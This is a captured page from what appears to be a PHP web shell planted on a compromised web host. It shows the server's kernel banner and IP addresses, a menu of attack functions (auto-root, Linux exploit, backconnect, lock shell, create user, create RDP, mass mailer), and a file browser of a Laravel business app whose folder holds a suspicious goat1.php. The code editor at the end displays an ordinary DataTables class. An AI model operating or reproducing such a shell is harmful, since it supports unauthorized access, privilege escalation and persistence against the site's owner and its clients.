Linux server1.signalhg.team 4.18.0-553.134.1.el8_10.x86_64 #1 SMP Tue Jun 16 16:05:57 EDT 2026 x86_64
Apache
: 209.74.80.147 | : 216.73.217.138
150 Domain
8.1.34
signgwph
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
signgwph /
signaltechdemo5.com /
app /
DataTables /
[ HOME SHELL ]
Name
Size
Permission
Action
AppreciationsDataTable.php
9.96
KB
-rw-r--r--
ArchiveProjectsDataTable.php
12.47
KB
-rw-r--r--
ArchiveTasksDataTable.php
25.1
KB
-rw-r--r--
AttendanceRegularisationDataTa...
8.88
KB
-rw-r--r--
AttendanceReportDataTable.php
9.59
KB
-rw-r--r--
AwardDataTable.php
6.94
KB
-rw-r--r--
BankAccountDataTable.php
11.84
KB
-rw-r--r--
BankTransactionDataTable.php
7.29
KB
-rw-r--r--
BaseDataTable.php
1.76
KB
-rw-r--r--
ClientContactsDataTable.php
5.99
KB
-rw-r--r--
ClientGDPRDataTable.php
3.74
KB
-rw-r--r--
ClientNotesDataTable.php
8.37
KB
-rw-r--r--
ClientSubscriptionDataTable.ph...
5.67
KB
-rw-r--r--
ClientsDataTable.php
11.65
KB
-rw-r--r--
ConsentDataTable.php
3.86
KB
-rw-r--r--
ContractTemplatesDataTable.php
7.11
KB
-rw-r--r--
ContractsDataTable.php
15.39
KB
-rw-r--r--
CreditNotesDataTable.php
11.73
KB
-rw-r--r--
CustomerDataRemovalDataTable.p...
4.72
KB
-rw-r--r--
DealNotesDataTable.php
6.73
KB
-rw-r--r--
DealsDataTable.php
29.02
KB
-rw-r--r--
DepartmentDataTable.php
6.42
KB
-rw-r--r--
DesignationDataTable.php
6.37
KB
-rw-r--r--
DiscussionDataTable.php
5.6
KB
-rw-r--r--
EmployeeAppreciationDataTable....
5.13
KB
-rw-r--r--
EmployeeWiseTaskDataTable.php
6.31
KB
-rw-r--r--
EmployeesDataTable.php
22.91
KB
-rw-r--r--
EstimateRequestDataTable.php
13.33
KB
-rw-r--r--
EstimateTemplateDataTable.php
6.27
KB
-rw-r--r--
EstimatesDataTable.php
17.68
KB
-rw-r--r--
EventDataTable.php
13
KB
-rw-r--r--
ExpenseCategoryReportDataTable...
3.41
KB
-rw-r--r--
ExpenseReportDataTable.php
8.3
KB
-rw-r--r--
ExpensesDataTable.php
14.17
KB
-rw-r--r--
FinanceReportDataTable.php
7.44
KB
-rw-r--r--
HolidayDataTable.php
10.28
KB
-rw-r--r--
InvoiceRecurringDataTable.php
12.75
KB
-rw-r--r--
InvoicesDataTable.php
30.81
KB
-rw-r--r--
KnowledgeBaseDataTable.php
7.18
KB
-rw-r--r--
LabelDataTable.php
3.6
KB
-rw-r--r--
LeadContactDataTable.php
16.27
KB
-rw-r--r--
LeadDataRemovalDataTable.php
4.68
KB
-rw-r--r--
LeadFollowupDataTable.php
6.71
KB
-rw-r--r--
LeadGDPRDataTable.php
4.26
KB
-rw-r--r--
LeadNotesDataTable.php
7.48
KB
-rw-r--r--
LeadPipelineDataTable.php
6.23
KB
-rw-r--r--
LeadReportDataTable.php
8.46
KB
-rw-r--r--
LeaveDataTable.php
19.71
KB
-rw-r--r--
LeaveQuotaReportDataTable.php
8.96
KB
-rw-r--r--
LeaveReportDataTable.php
7.04
KB
-rw-r--r--
NoticeBoardDataTable.php
8.62
KB
-rw-r--r--
OrdersDataTable.php
16.69
KB
-rw-r--r--
PaymentsDataTable.php
15.62
KB
-rw-r--r--
ProductsDataTable.php
10.33
KB
-rw-r--r--
ProjectNotesDataTable.php
9.12
KB
-rw-r--r--
ProjectTemplateTasksDataTable....
6.04
KB
-rw-r--r--
ProjectTemplatesDataTable.php
8.18
KB
-rw-r--r--
ProjectsDataTable.php
33.06
KB
-rw-r--r--
ProposalDataTable.php
13.33
KB
-rw-r--r--
ProposalTemplateDataTable.php
6.43
KB
-rw-r--r--
RecurringEventDataTable.php
12.18
KB
-rw-r--r--
RecurringExpensesDataTable.php
9.03
KB
-rw-r--r--
RecurringInvoicesDataTable.php
21.61
KB
-rw-r--r--
RecurringTasksDataTable.php
39.63
KB
-rw-r--r--
SalesReportDataTable.php
10.29
KB
-rw-r--r--
ShiftChangeRequestDataTable.ph...
7.54
KB
-rw-r--r--
ShiftRotationDataTable.php
6.6
KB
-rw-r--r--
SubscriptionDataTable.php
7.53
KB
-rw-r--r--
TaskReportDataTable.php
11.84
KB
-rw-r--r--
TasksDataTable.php
43.05
KB
-rw-r--r--
TicketDataTable.php
19.89
KB
-rw-r--r--
TimeLogConsolidatedReportDataT...
12.74
KB
-rw-r--r--
TimeLogPendingWeeklyApprovalRe...
9.63
KB
-rw-r--r--
TimeLogProjectwiseReportDataTa...
9.06
KB
-rw-r--r--
TimeLogReportDataTable.php
12.6
KB
-rw-r--r--
TimeLogWeeklyApprovalReportDat...
10.05
KB
-rw-r--r--
TimeLogsDataTable.php
23.82
KB
-rw-r--r--
WaitingForApprovalDataTable.ph...
29.97
KB
-rw-r--r--
consolidatedTaskReportDataTabl...
6.03
KB
-rw-r--r--
error_log
37.37
KB
-rw-r--r--
goat1.php
143.87
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ClientSubscriptionDataTable.php
<?php namespace App\DataTables; use App\Models\RecurringInvoice; use Yajra\DataTables\Html\Column; class ClientSubscriptionDataTable extends BaseDataTable { public function dataTable($query) { return datatables() ->eloquent($query) ->addIndexColumn() ->addColumn('status_badge', function ($row) { if ($row->status === 'active') { return '<span class="badge badge-success">' . __('app.active') . '</span>'; } return '<span class="badge badge-danger">' . __('app.inactive') . '</span>'; }) ->addColumn('amount_formatted', function ($row) { $symbol = $row->currency ? $row->currency->currency_symbol : '$'; return $symbol . number_format($row->total, 2); }) ->addColumn('rotation_label', function ($row) { return ucfirst($row->rotation); }) ->addColumn('next_date', function ($row) { return $row->next_invoice_date ? $row->next_invoice_date->timezone($this->company->timezone)->format($this->company->date_format) : '--'; }) ->addColumn('action', function ($row) { $logsUrl = route('client.subscriptions.logs', $row->id); $cancelBtn = ''; if ($row->status === 'active' && $row->client_can_stop == 1) { $cancelBtn = '<a href="javascript:;" class="dropdown-item btn-client-cancel-sub" data-id="' . $row->id . '"> <i class="fa fa-ban mr-2 text-danger"></i>' . __('app.cancelSubscription') . '</a>'; } return '<div class="task_view"> <div class="dropdown"> <a class="task_view_more d-flex align-items-center justify-content-center dropdown-toggle" type="link" id="dropdownMenuLink-' . $row->id . '" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <i class="icon-options-vertical icons"></i> </a> <div class="dropdown-menu dropdown-menu-right" aria-labelledby="dropdownMenuLink-' . $row->id . '" tabindex="0"> <a href="javascript:;" class="dropdown-item btn-client-logs" data-url="' . $logsUrl . '"> <i class="fa fa-history mr-2"></i>' . __('app.paymentHistory') . '</a> ' . $cancelBtn . ' </div> </div> </div>'; }) ->rawColumns(['status_badge', 'action']) ->filterColumn('status_badge', function ($query, $keyword) { $query->where('invoice_recurring.status', $keyword); }); } public function query(RecurringInvoice $model) { $request = $this->request(); $query = $model->with(['currency']) ->where('invoice_recurring.company_id', $this->company->id) ->where('invoice_recurring.client_id', user()->id) ->where('invoice_recurring.payfast_sub_status', 1) ->select( 'invoice_recurring.id', 'invoice_recurring.client_id', 'invoice_recurring.currency_id', 'invoice_recurring.total', 'invoice_recurring.status', 'invoice_recurring.rotation', 'invoice_recurring.next_invoice_date', 'invoice_recurring.failed_payment_attempts', 'invoice_recurring.client_can_stop' ); if ($request->filled('status') && $request->status !== 'all') { $query->where('invoice_recurring.status', $request->status); } if ($request->filled('rotation') && $request->rotation !== 'all') { $query->where('invoice_recurring.rotation', $request->rotation); } if ($request->filled('startDate') && $request->startDate !== 'null') { $query->whereDate('invoice_recurring.next_invoice_date', '>=', companyToDateString($request->startDate)); } if ($request->filled('endDate') && $request->endDate !== 'null') { $query->whereDate('invoice_recurring.next_invoice_date', '<=', companyToDateString($request->endDate)); } return $query; } public function html() { return $this->setBuilder('client-subscriptions-table', 0) ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["client-subscriptions-table"].buttons().container() .appendTo("#table-actions"); }', 'fnDrawCallback' => 'function (oSettings) { $("[data-toggle=\"tooltip\"]").tooltip(); }', ]); } protected function getColumns(): array { return [ Column::make('DT_RowIndex')->title('#')->orderable(false)->searchable(false)->width(40), Column::make('status_badge')->title(__('app.status'))->orderable(false)->searchable(false), Column::make('amount_formatted')->title(__('app.amount'))->orderable(false)->searchable(false), Column::make('rotation_label')->title(__('app.frequency'))->orderable(false)->searchable(false), Column::make('next_date')->title(__('app.nextInvoiceDate'))->orderable(false)->searchable(false), Column::computed('action')->title(__('app.action')) ->exportable(false)->printable(false)->orderable(false)->searchable(false) ->addClass('text-right pr-20'), ]; } }
Close